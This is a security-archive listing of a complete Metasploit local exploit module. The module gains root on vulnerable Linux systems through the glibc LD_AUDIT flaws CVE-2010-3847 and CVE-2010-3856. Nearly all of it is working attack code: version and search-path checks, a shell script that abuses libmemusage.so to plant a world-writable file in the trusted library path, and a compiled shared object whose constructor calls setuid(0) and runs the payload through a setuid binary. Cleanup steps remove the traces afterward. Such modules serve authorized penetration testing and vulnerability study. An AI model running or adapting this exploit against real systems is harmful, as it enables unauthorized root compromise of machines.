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glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation

glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation
Posted Mar 30, 2018
Authored by Marco Ivaldi, Tavis Ormandy, Todor Donev, zx2c4, Brendan Coles | Site metasploit.com

This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker with libmemusage.so library.

tags | exploit, root
systems | linux
advisories | CVE-2010-3847, CVE-2010-3856
MD5 | 82d002207d92e79c81d147d0cbc73594

glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation

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require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux

def initialize(info = {})
super(update_info(info,
'Name' => 'glibc LD_AUDIT libmemusage.so RHEL-Based Arbitrary DSO Load Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker with
libmemusage.so library.

glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables. This allows loading arbitrary shared objects from
the trusted library search path with the privileges of the suid user.

This module uses LD_AUDIT to load the libpcprofile.so shared object,
distributed with some versions of glibc, and leverages arbitrary file
creation functionality in the library constructor to write a root-owned
world-writable file to a system trusted search path (usually /lib).
The file is then overwritten with a shared object then loaded with
LD_AUDIT resulting in arbitrary code execution.

This module has been tested successfully on glibc version 2.12 on
RHEL 5.

Thanks to Brendan Coles and all Metasploit staff..
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
'Todor Donev', # libmemusage.so native and this MSF exploit
'Brendan Coles' # Metasploit libpcprofile.so
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'CVE', '2010-3856' ],
[ 'BID', '44154' ],
[ 'BID', '44347' ],
[ 'EDB', '15274' ],
[ 'EDB', '15304' ],
[ 'EDB', '18105' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.to_s.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"

lib = 'libmemusage.so'
@lib_dir = nil
vprint_status "Checking for #{lib} in system search paths"
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
search_paths.split('path=')[1..-1].join.split(':').each do |path|
lib_dir = path.to_s.strip
next if lib_dir.eql? ''
libs = cmd_exec "ls '#{lib_dir}'"
if libs.include? lib
@lib_dir = lib_dir
break
end
end
if @lib_dir.nil?
vprint_error "Could not find #{lib}"
return CheckCode::Safe
end
vprint_good "Found #{lib} in #{@lib_dir}"

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def on_new_session(client)
# remove root owned shared object from system load path
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @so_path
else
client.shell_command_token "rm #{@so_path}"
end
end

def exploit
check_status = check

if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"

# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|

begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so

# Upload exploit
@so_path = "#{@lib_dir}/#{so_name}.so"
exp = %(
umask 0
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
umask 0022
cat #{so_path} > #{@so_path}
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
echo > #{@so_path}
)
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp

# Upload payload
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end

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